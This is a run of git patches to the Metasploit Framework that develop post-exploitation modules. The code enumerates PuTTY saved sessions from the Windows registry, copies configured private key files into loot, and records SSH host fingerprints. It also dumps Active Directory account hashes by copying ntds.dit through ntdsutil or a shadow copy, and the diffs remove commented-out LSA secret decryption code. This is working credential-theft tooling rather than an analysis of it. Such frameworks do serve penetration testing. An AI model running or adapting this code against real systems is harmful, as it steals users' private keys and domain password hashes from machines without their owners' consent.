store_loot('ad.computers', 'text/plain', session, results_table.to_csv) + #print_status("Results saved to: #{stored_path}") + end + + def grab_private_keys(sessions) + sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s + next if filename.empty? + + if file?(filename) + ppk = read_file(filename) + stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") + end + end + end + + # The sauce starts here + def run + + # Look for saved sessions, break out if not. + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + if saved_sessions.nil? || saved_sessions.empty? + print_error('No saved sessions found') + return + end + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + + binding.pry + +# hostname = sysinfo['Computer'] +# print_status("Executing module against #{hostname}") +# +# print_status('Obtaining boot key...') +# bootkey = capture_boot_key +# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") +# +# print_status('Obtaining Lsa key...') +# lsa_key = capture_lsa_key(bootkey) +# if lsa_key.nil? +# print_error("Could not retrieve LSA key. Are you SYSTEM?") +# return +# end +# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") +# +# secrets = hostname + get_secret(lsa_key) +# +# print_status("Writing to loot...") +# +# path = store_loot( +# 'registry.lsa.sec', +# 'text/plain', +# session, +# secrets, +# 'reg_lsa_secrts.txt', +# 'Registry LSA Secret Decrypted File' +# ) +# +# print_status("Data saved in: #{path}") + end +end From 14035a46b16d8cb1f6b2f8fc416521d3288a985b Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 16:28:51 +0100 Subject: [PATCH 0086/1013] Fixed description --- .../gather/putty_enum_saved_sessions.rb | 106 ++---------------- 1 file changed, 9 insertions(+), 97 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 7614f49aa7..dc41dba3af 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -17,11 +17,14 @@ class Metasploit3 < Msf::Post INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] def initialize(info={}) super(update_info(info, - 'Name' => "PuTTY thing", + 'Name' => "PuTTY Saved Sessions Enumeration Module", 'Description' => %q{ - This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is: - HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt - code from cachedump. + This module will identify whether Pageant (PuTTY Agent) is running and obtain saved session + information from the registry. PuTTY is very configurable; some users may have configured + saved sessions which could include a username, private key file to use when authenticating, + host name etc. + + If a private key is configured, an attempt will be made to download and store it in loot. }, 'License' => MSF_LICENSE, 'Platform' => ['win'], @@ -30,68 +33,6 @@ class Metasploit3 < Msf::Post )) end - -# # Decrypted LSA key is passed into this method -# def get_secret(lsa_key) -# output = "\n" -# -# # LSA Secret key location within the registry -# root_regkey = "HKLM\\Security\\Policy\\Secrets\\" -# services_key = "HKLM\\SYSTEM\\CurrentControlSet\\Services\\" -# -# secrets = registry_enumkeys(root_regkey) -# -# secrets.each do |secret_regkey| -# sk_arr = registry_enumkeys(root_regkey + "\\" + secret_regkey) -# next unless sk_arr -# -# sk_arr.each do |mkeys| -# # CurrVal stores the currently set value of the key. In the case -# # of services, this is usually the password for the service -# # account. -# next unless mkeys == "CurrVal" -# -# val_key = root_regkey + "\\" + secret_regkey + "\\" + mkeys -# encrypted_secret = registry_getvaldata(val_key, "") -# -# next unless encrypted_secret -# -# if lsa_vista_style? -# # Magic happens here -# decrypted = decrypt_lsa_data(encrypted_secret, lsa_key) -# else -# # and here -# encrypted_secret = encrypted_secret[0xC..-1] -# decrypted = decrypt_secret_data(encrypted_secret, lsa_key) -# end -# -# next unless decrypted.length > 0 -# -# # axe all the non-printables -# decrypted = decrypted.scan(/[[:print:]]/).join -# -# if secret_regkey.start_with?("_SC_") -# # Service secrets are named like "_SC_yourmom" for a service -# # with name "yourmom". Strip off the "_SC_" to get something -# # we can lookup in the list of services to find out what -# # account this secret is associated with. -# svc_name = secret_regkey[4,secret_regkey.length] -# svc_user = registry_getvaldata(services_key + svc_name, "ObjectName") -# -# # if the unencrypted value is not blank and is a service, print -# print_good("Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Username: #{svc_user} \n Decrypted Value: #{decrypted}\n" -# else -# # if the unencrypted value is not blank, print -# print_good("Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n") -# output << "Key: #{secret_regkey}\n Decrypted Value: #{decrypted}\n" -# end -# end -# end -# -# return output -# end - def get_saved_session_details(sessions) all_sessions = [] @@ -106,7 +47,7 @@ class Metasploit3 < Msf::Post all_sessions end - def report(info) + def display_saved_sessions_report(info) # Results table holds raw string data results_table = Rex::Ui::Text::Table.new( @@ -160,7 +101,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) - report(all_saved_sessions) + display_saved_sessions_report(all_saved_sessions) # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -168,34 +109,5 @@ class Metasploit3 < Msf::Post binding.pry -# hostname = sysinfo['Computer'] -# print_status("Executing module against #{hostname}") -# -# print_status('Obtaining boot key...') -# bootkey = capture_boot_key -# vprint_status("Boot key: #{bootkey.unpack("H*")[0]}") -# -# print_status('Obtaining Lsa key...') -# lsa_key = capture_lsa_key(bootkey) -# if lsa_key.nil? -# print_error("Could not retrieve LSA key. Are you SYSTEM?") -# return -# end -# vprint_status("Lsa Key: #{lsa_key.unpack("H*")[0]}") -# -# secrets = hostname + get_secret(lsa_key) -# -# print_status("Writing to loot...") -# -# path = store_loot( -# 'registry.lsa.sec', -# 'text/plain', -# session, -# secrets, -# 'reg_lsa_secrts.txt', -# 'Registry LSA Secret Decrypted File' -# ) -# -# print_status("Data saved in: #{path}") end end From ac04b8d1e7e202f389d112e9c2a8dd8af5ed1269 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 15 May 2015 10:47:31 -0500 Subject: [PATCH 0087/1013] a little bit of cleanup constantise some of the magic numbers in the NTDS Account class MSP-12358 --- lib/metasploit/framework/ntds/account.rb | 35 +++++++++++++------ .../gather/credentials/domain_hashdump.rb | 7 ++-- 2 files changed, 26 insertions(+), 16 deletions(-) diff --git a/lib/metasploit/framework/ntds/account.rb b/lib/metasploit/framework/ntds/account.rb index 9280a25b8c..bd485790c8 100644 --- a/lib/metasploit/framework/ntds/account.rb +++ b/lib/metasploit/framework/ntds/account.rb @@ -5,6 +5,19 @@ module Metasploit # priv extension. class Account + # Size of an NTDS Account Struct on the Wire + ACCOUNT_SIZE = 3948 + # Size of a Date or Time Format String on the Wire + DATE_TIME_STRING_SIZE = 30 + # Size of the AccountDescription Field + DESCRIPTION_SIZE =2048 + # Size of a Hash History Record + HASH_HISTORY_SIZE = 792 + # Size of a Hash String + HASH_SIZE = 33 + # Size of the samAccountName field + NAME_SIZE = 40 + #@return [String] The AD Account Description attr_accessor :description #@return [Boolean] If the AD account is disabled @@ -52,10 +65,10 @@ module Metasploit # @raise [ArgumentErrror] if a 3948 byte string is not supplied def initialize(raw_data) raise ArgumentError, "No Data Supplied" unless raw_data.present? - raise ArgumentError, "Invalid Data" unless raw_data.length == 3948 + raise ArgumentError, "Invalid Data" unless raw_data.length == ACCOUNT_SIZE data = raw_data.dup - @name = get_string(data,40) - @description = get_string(data,2048) + @name = get_string(data,NAME_SIZE) + @description = get_string(data,DESCRIPTION_SIZE) @rid = get_int(data) @disabled = get_boolean(data) @locked = get_boolean(data) @@ -65,13 +78,13 @@ module Metasploit @logon_count = get_int(data) @nt_history_count = get_int(data) @lm_history_count = get_int(data) - @expiry_date = get_string(data,30) - @logon_date = get_string(data,30) - @logon_time = get_string(data,30) - @pass_date = get_string(data,30) - @pass_time = get_string(data,30) - @lm_hash = get_string(data,33) - @nt_hash = get_string(data,33) + @expiry_date = get_string(data,DATE_TIME_STRING_SIZE) + @logon_date = get_string(data,DATE_TIME_STRING_SIZE) + @logon_time = get_string(data,DATE_TIME_STRING_SIZE) + @pass_date = get_string(data,DATE_TIME_STRING_SIZE) + @pass_time = get_string(data,DATE_TIME_STRING_SIZE) + @lm_hash = get_string(data,HASH_SIZE) + @nt_hash = get_string(data,HASH_SIZE) @lm_history = get_hash_history(data) @nt_history = get_hash_history(data) @sid = data @@ -113,7 +126,7 @@ module Metasploit end def get_hash_history(data) - raw_history = data.slice!(0,792) + raw_history = data.slice!(0,HASH_HISTORY_SIZE) split_history = raw_history.scan(/.{1,33}/) split_history.map!{ |hash| hash.gsub(/\x00/,'')} split_history.reject!{ |hash| hash.blank? } diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 512838f980..89e4375855 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -72,14 +72,11 @@ class Metasploit3 < Msf::Post end def is_domain_controller? - status = false - if session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit') - status = true - end - status + session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit') end def ntdsutil_method + get_env tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec("ntdsutil.exe", command_arguments) From a3d91dff0b9d12d953a5c92b28d49df3cb6f95fd Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 15 May 2015 11:13:19 -0500 Subject: [PATCH 0088/1013] clean up ntds.dit file when done delete the ntds.dit file we copied when we are done MSP-12358 --- modules/post/windows/gather/credentials/domain_hashdump.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 89e4375855..3f3c7e9b1e 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -11,9 +11,9 @@ require 'metasploit/framework/ntds/parser' class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry include Msf::Auxiliary::Report - include Msf::Post::Windows::Services include Msf::Post::Windows::Priv include Msf::Post::Windows::ShadowCopy + include Msf::Post::File def initialize(info={}) super(update_info(info, @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Post report_hash(hash_string.downcase,ad_account.name, realm) end end + rm_f(ntds_file) end end end @@ -76,7 +77,6 @@ class Metasploit3 < Msf::Post end def ntdsutil_method - get_env tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec("ntdsutil.exe", command_arguments) @@ -149,7 +149,7 @@ class Metasploit3 < Msf::Post sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" print_status "Moving ntds.dit to #{target_path}" - client.fs.file.mv(sc_path, target_path) + move_file(sc_path, target_path) target_path end From 631dfc0a0e0dd552b3d779b766b84cc424ec9323 Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 15 May 2015 11:19:35 -0500 Subject: [PATCH 0089/1013] increase timeout on ntdsutil default timeout is 15 seconds. we'll give it 90 seconds for now. This may still be too short for really really large domains, but too long of a timeout can create other issues MSP-12358 --- modules/post/windows/gather/credentials/domain_hashdump.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 3f3c7e9b1e..5176be4d4d 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Post def ntdsutil_method tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" - result = cmd_exec("ntdsutil.exe", command_arguments) + result = cmd_exec("ntdsutil.exe", command_arguments,90) if result.include? "IFM media created successfully" file_path = "#{tmp_path}\\Active Directory\\ntds.dit" print_status "NTDS database copied to #{file_path}" From 4a88790c8c133eb4777e5554bd671a24714ff127 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 17:57:15 +0100 Subject: [PATCH 0090/1013] Added SSH host keys --- .../gather/putty_enum_saved_sessions.rb | 102 +++++++++++++++--- 1 file changed, 87 insertions(+), 15 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index dc41dba3af..a02cacd0ad 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -67,8 +67,58 @@ class Metasploit3 < Msf::Post end print_line results_table.to_s - #stored_path = store_loot('ad.computers', 'text/plain', session, results_table.to_csv) - #print_status("Results saved to: #{stored_path}") + end + + def get_stored_host_key_details(allkeys) + + # This hash will store (as the key) host:port pairs. This is basically a quick way of + # getting a unique list of host:port pairs. + all_ssh_host_keys = {} + + # This regex will split up lines such as rsa2@22:127.0.0.1 from the registry. + rx_split_hostporttype = %r{^(?[-a-z0-9]+?)@(?[0-9]+?):(?.+)$}i + + # Go through each of the stored keys found in the registry + allkeys.each do |key| + + # Store the raw key and value in a hash to start off with + newkey = { + rawname: key, + rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + } + + # Take the key and split up host, port and fingerprint type. If it matches, store the information + # in the hash for later. + split_hostporttype = rx_split_hostporttype.match(key.to_s) + unless split_hostporttype + newkey['host'] = split_hostporttype[:host] + newkey['port'] = split_hostporttype[:port] + newkey['type'] = split_hostporttype[:type] + host_port = "#{newkey['host']}:#{newkey['port']}" + all_ssh_host_keys[host_port] = true + end + end + puts all_ssh_host_keys.inspect + all_ssh_host_keys + end + + def display_stored_host_keys_report(info) + + # Results table holds raw string data + results_table = Rex::Ui::Text::Table.new( + 'Header' => "Stored SSH host key fingerprints", + 'Indent' => 1, + 'SortIndex' => -1, + 'Columns' => ['SSH Endpoint'] + ) + + info.each do |key,result| + row = [] + row << key + results_table << row + end + + print_line results_table.to_s end def grab_private_keys(sessions) @@ -86,28 +136,50 @@ class Metasploit3 < Msf::Post end end - # The sauce starts here + + # Entry point def run # Look for saved sessions, break out if not. - saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + print_status("Looking for saved PuTTY sessions") + #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') + saved_sessions = nil if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') - return + else + + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + + # Retrieve the saved session details & print them to the screen in a report + all_saved_sessions = get_saved_session_details(saved_sessions) + display_saved_sessions_report(all_saved_sessions) + + # If the private key file has been configured, retrieve it and save it to loot + print_status("Downloading private keys...") + grab_private_keys(all_saved_sessions) + end - # Tell the user how many sessions have been found (with correct English) - print_status("Found #{saved_sessions.count} session#{saved_sessions.count>1?'s':''}") + #binding.pry - # Retrieve the saved session details & print them to the screen in a report - all_saved_sessions = get_saved_session_details(saved_sessions) - display_saved_sessions_report(all_saved_sessions) + # Now search for SSH stored keys. These could be useful because it shows hosts that the user + # has previously connected to and accepted a key from. + print_status("Looking for previously stored SSH host key fingerprints") + stored_ssh_host_keys = registry_enumvals('HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys') + if stored_ssh_host_keys.nil? || stored_ssh_host_keys.empty? + print_error('No stored SSH host keys found') + else + # Tell the user how many sessions have been found (with correct English) + print_status("Found #{stored_ssh_host_keys.count} stored key fingerprint#{stored_ssh_host_keys.count>1?'s':''}") - # If the private key file has been configured, retrieve it and save it to loot - print_status("Downloading private keys...") - grab_private_keys(all_saved_sessions) - - binding.pry + # Retrieve the saved session details & print them to the screen in a report + print_status("Downloading stored key fingerprints...") + all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + end end + end From fd1a24d6f9180172a8fd7477e07209bda4b1d64f Mon Sep 17 00:00:00 2001 From: David Maloney Date: Fri, 15 May 2015 13:33:48 -0500 Subject: [PATCH 0091/1013] some more minor cleanup noise apparently we standardized on using get_env instead of expand_path in these cases. Not sure on the effective difference here but no big deal MSP-12358 --- .../post/windows/gather/credentials/domain_hashdump.rb | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/post/windows/gather/credentials/domain_hashdump.rb b/modules/post/windows/gather/credentials/domain_hashdump.rb index 5176be4d4d..615533b095 100644 --- a/modules/post/windows/gather/credentials/domain_hashdump.rb +++ b/modules/post/windows/gather/credentials/domain_hashdump.rb @@ -73,11 +73,11 @@ class Metasploit3 < Msf::Post end def is_domain_controller? - session.fs.file.exists?('%SystemDrive%\Windows\ntds\ntds.dit') + file_exist?('%SystemDrive%\Windows\ntds\ntds.dit') end def ntdsutil_method - tmp_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + tmp_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" command_arguments = "\"activate instance ntds\" \"ifm\" \"Create Full #{tmp_path}\" quit quit" result = cmd_exec("ntdsutil.exe", command_arguments,90) if result.include? "IFM media created successfully" @@ -143,11 +143,11 @@ class Metasploit3 < Msf::Post end def vss_method - id = create_shadowcopy("#{expand_path("%SystemDrive%")}\\") + id = create_shadowcopy("#{get_env("%SystemDrive%")}\\") print_status "Getting Details of ShadowCopy #{id}" sc_details = get_sc_details(id) sc_path = "#{sc_details['DeviceObject']}\\windows\\ntds\\ntds.dit" - target_path = "#{expand_path("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" + target_path = "#{get_env("%TEMP%")}\\#{Rex::Text.rand_text_alpha((rand(8)+6))}" print_status "Moving ntds.dit to #{target_path}" move_file(sc_path, target_path) target_path From 5d273d53b484a9d58f82ecf1980ba2a9e37b58d2 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Fri, 15 May 2015 22:02:12 +0100 Subject: [PATCH 0092/1013] Fixed module logic so that the key fingerprints now get displayed properly: --- .../gather/putty_enum_saved_sessions.rb | 29 ++++++++++++------- 1 file changed, 19 insertions(+), 10 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index a02cacd0ad..77e1d93d2a 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Post host name etc. If a private key is configured, an attempt will be made to download and store it in loot. - }, + }, 'License' => MSF_LICENSE, 'Platform' => ['win'], 'SessionTypes' => ['meterpreter'], @@ -90,15 +90,21 @@ class Metasploit3 < Msf::Post # Take the key and split up host, port and fingerprint type. If it matches, store the information # in the hash for later. split_hostporttype = rx_split_hostporttype.match(key.to_s) - unless split_hostporttype + if split_hostporttype + + # Extract the host, port and key type into the hash newkey['host'] = split_hostporttype[:host] newkey['port'] = split_hostporttype[:port] newkey['type'] = split_hostporttype[:type] + + # Form the key host_port = "#{newkey['host']}:#{newkey['port']}" - all_ssh_host_keys[host_port] = true + + # Add it to the consolidation hash. If the same IP has different key types, append to the array + all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? + all_ssh_host_keys[host_port] << newkey['type'] end end - puts all_ssh_host_keys.inspect all_ssh_host_keys end @@ -109,12 +115,13 @@ class Metasploit3 < Msf::Post 'Header' => "Stored SSH host key fingerprints", 'Indent' => 1, 'SortIndex' => -1, - 'Columns' => ['SSH Endpoint'] + 'Columns' => ['SSH Endpoint', 'Key Type(s)'] ) info.each do |key,result| row = [] row << key + row << result.join(', ') results_table << row end @@ -161,8 +168,6 @@ class Metasploit3 < Msf::Post end - #binding.pry - # Now search for SSH stored keys. These could be useful because it shows hosts that the user # has previously connected to and accepted a key from. print_status("Looking for previously stored SSH host key fingerprints") @@ -176,10 +181,14 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - + if all_stored_keys.nil? || all_stored_keys.empty? + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") + display_stored_host_keys_report(all_stored_keys) + else + print_error("No stored key fingerprints found") + end end + end end From 53311fda2e9adba04fac10bc6bdf3856ca78d614 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:02:58 +0100 Subject: [PATCH 0093/1013] Fixed logic & added notes storage --- .../gather/putty_enum_saved_sessions.rb | 23 ++++++++++++------- 1 file changed, 15 insertions(+), 8 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 77e1d93d2a..48c819b877 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end @@ -130,13 +132,18 @@ class Metasploit3 < Msf::Post def grab_private_keys(sessions) sessions.each do |ses| + filename = ses['PublicKeyFile'].to_s next if filename.empty? + # Check whether the file exists. if file?(filename) - ppk = read_file(filename) - stored_path = store_loot('putty.ppk.file', 'text/plain', session, ppk) - print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + if ppk = read_file(filename) # Attempt to read the contents of the file + stored_path = store_loot('putty.ppk.file', 'application/octet-stream', session, ppk) + print_status("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) saved to: #{stored_path}") + else + print_error("Unable to read PuTTY private key file for \'#{ses['Name']}\' (#{filename})") # May be that we do not have permissions etc + end else print_error("PuTTY private key file for \'#{ses['Name']}\' (#{filename}) could not be found.") end @@ -149,8 +156,7 @@ class Metasploit3 < Msf::Post # Look for saved sessions, break out if not. print_status("Looking for saved PuTTY sessions") - #saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') - saved_sessions = nil + saved_sessions = registry_enumkeys('HKCU\\Software\\SimonTatham\\PuTTY\\Sessions') if saved_sessions.nil? || saved_sessions.empty? print_error('No saved sessions found') else @@ -161,6 +167,7 @@ class Metasploit3 < Msf::Post # Retrieve the saved session details & print them to the screen in a report all_saved_sessions = get_saved_session_details(saved_sessions) display_saved_sessions_report(all_saved_sessions) + print_status("Session data also stored in notes. Use 'notes -t putty.savedsessions to view'.") # If the private key file has been configured, retrieve it and save it to loot print_status("Downloading private keys...") @@ -182,10 +189,10 @@ class Metasploit3 < Msf::Post print_status("Downloading stored key fingerprints...") all_stored_keys = get_stored_host_key_details(stored_ssh_host_keys) if all_stored_keys.nil? || all_stored_keys.empty? - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes (putty.ssh.fingerprint)") - display_stored_host_keys_report(all_stored_keys) - else print_error("No stored key fingerprints found") + else + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + display_stored_host_keys_report(all_stored_keys) end end From 8aa27eee94ca464e3e6404d8dcc1e92fac503af1 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:06:05 +0100 Subject: [PATCH 0094/1013] report_note only appears to allow one note per host/type combo... --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 2 -- 1 file changed, 2 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 48c819b877..6fd7a0b68c 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,7 +43,6 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses - report_note(host: target_host, type: "putty.savedsession", data: newses) end all_sessions end @@ -105,7 +104,6 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end - report_note(host: target_host, type: "putty.storedhostfp", data: newkey) end all_ssh_host_keys end From 4a416bba3c8b14b20d07776eec5cdc2fbbbecf32 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 13:24:38 +0100 Subject: [PATCH 0095/1013] Fixed notes using :unique_data --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 6fd7a0b68c..523fcbffe2 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -43,6 +43,7 @@ class Metasploit3 < Msf::Post newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s end all_sessions << newses + report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) end all_sessions end @@ -104,6 +105,7 @@ class Metasploit3 < Msf::Post all_ssh_host_keys[host_port] = [] if all_ssh_host_keys[host_port].nil? all_ssh_host_keys[host_port] << newkey['type'] end + report_note(host: target_host, type: "putty.storedfingerprint", data: newkey, update: :unique_data) end all_ssh_host_keys end @@ -189,7 +191,7 @@ class Metasploit3 < Msf::Post if all_stored_keys.nil? || all_stored_keys.empty? print_error("No stored key fingerprints found") else - print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedhostfp to view'.") + print_status("Unique host:port pairs are shown in the table below. All other details, including the actual fingerprint, are stored in notes. Use 'notes -t putty.storedfingerprint to view'.") display_stored_host_keys_report(all_stored_keys) end end From 18a9dfd6dadf2758bcfe6f39888e1091cace2fd9 Mon Sep 17 00:00:00 2001 From: Stuart Morgan Date: Sun, 17 May 2015 14:37:59 +0100 Subject: [PATCH 0096/1013] Added PAGEANT_REGISTRY_KEY variable to enhance readability --- modules/post/windows/gather/putty_enum_saved_sessions.rb | 8 +++++--- 1 file changed, 5 insertions(+), 3 deletions(-) diff --git a/modules/post/windows/gather/putty_enum_saved_sessions.rb b/modules/post/windows/gather/putty_enum_saved_sessions.rb index 523fcbffe2..dac8d00d83 100644 --- a/modules/post/windows/gather/putty_enum_saved_sessions.rb +++ b/modules/post/windows/gather/putty_enum_saved_sessions.rb @@ -15,6 +15,8 @@ class Metasploit3 < Msf::Post include Msf::Post::Windows::Registry INTERESTING_KEYS=['HostName','PublicKeyFile','UserName','PortNumber','PortForwardings'] + PAGEANT_REGISTRY_KEY="HKCU\\Software\\SimonTatham\\PuTTY" + def initialize(info={}) super(update_info(info, 'Name' => "PuTTY Saved Sessions Enumeration Module", @@ -40,7 +42,7 @@ class Metasploit3 < Msf::Post newses = {} newses['Name'] = Rex::Text.uri_decode(ses) INTERESTING_KEYS.each do |key| - newses[key] = registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\Sessions\\#{ses}", key).to_s + newses[key] = registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\Sessions\\#{ses}", key).to_s end all_sessions << newses report_note(host: target_host, type: "putty.savedsession", data: newses, update: :unique_data) @@ -85,7 +87,7 @@ class Metasploit3 < Msf::Post # Store the raw key and value in a hash to start off with newkey = { rawname: key, - rawsig: registry_getvaldata("HKCU\\Software\\SimonTatham\\PuTTY\\SshHostKeys", key).to_s + rawsig: registry_getvaldata("#{PAGEANT_REGISTRY_KEY}\\SshHostKeys", key).to_s } # Take the key and split up host, port and fingerprint type. If it matches, store the information @@ -156,7 +158,7 @@ class Metasploit3 < 